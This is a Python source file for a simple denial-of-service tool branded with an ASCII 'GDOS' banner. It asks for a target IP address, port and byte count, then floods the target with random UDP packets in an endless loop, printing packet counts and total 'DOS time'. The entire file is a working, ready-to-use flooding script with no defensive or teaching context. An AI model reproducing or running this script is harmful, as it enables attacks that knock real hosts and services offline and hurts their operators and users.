1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465 |
- import time
- import socket
- import random
- from os import system, name
- def ddos(dest, port, hmanybytes):
- print("─────────────────────────────────────────────────────────────")
- print("Starting...")
- client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- print("Client : activated")
- bytes = random._urandom(hmanybytes)
- print(f"Bytes : {hmanybytes} bytes generated")
- print(f"IP : {dest}")
- print(f"Port : {port}")
- count = 5
- while count > 0:
- print(f"Starting in {count}")
- time.sleep(1)
- count -=1
- startTime = time.time()
- sent = 0
- try:
- while True:
- client.sendto(bytes, (dest, port))
- sent += 1
- print(f"Sent {sent} packets to {dest} at the port {port}")
- except KeyboardInterrupt:
- stopTime = time.time()
- totalTime = stopTime - startTime
- print("KeyboardInterrupt detected, stopping")
- print(f"Total packets sent {sent}")
- print(f"Total DOS time : {totalTime}")
- exit(0)
- def banner():
- system('cls') if name == 'nt' else system('clear')
- print("─────────────────────────────────────────────────────────────")
- print("─██████████████─████████████───██████████████─██████████████─")
- print("─██░░░░░░░░░░██─██░░░░░░░░████─██░░░░░░░░░░██─██░░░░░░░░░░██─")
- print("─██░░██████████─██░░████░░░░██─██░░██████░░██─██░░██████████─")
- print("─██░░██─────────██░░██──██░░██─██░░██──██░░██─██░░██─────────")
- print("─██░░██─────────██░░██──██░░██─██░░██──██░░██─██░░██████████─")
- print("─██░░██──██████─██░░██──██░░██─██░░██──██░░██─██░░░░░░░░░░██─")
- print("─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─██████████░░██─")
- print("─██░░██──██░░██─██░░██──██░░██─██░░██──██░░██─────────██░░██─")
- print("─██░░██████░░██─██░░████░░░░██─██░░██████░░██─██████████░░██─")
- print("─██░░░░░░░░░░██─██░░░░░░░░████─██░░░░░░░░░░██─██░░░░░░░░░░██─")
- print("─██████████████─████████████───██████████████─██████████████─")
- print("─────────────────────────────────────────────────────────────")
- print("─────────────────────c0d3d_by_Gr3yH47_v1─────────────────────")
- def main():
- banner()
- print("Enter IP address: ")
- dest = input(">>> ")
- print("Enter port to test: ")
- port = int(input(">>> "))
- print("How many bytes will we send?: ")
- print("1024-4096 is good")
- hmanybytes = int(input(">>>"))
- ddos(dest, port, hmanybytes)
- if __name__ == '__main__':
- main()
|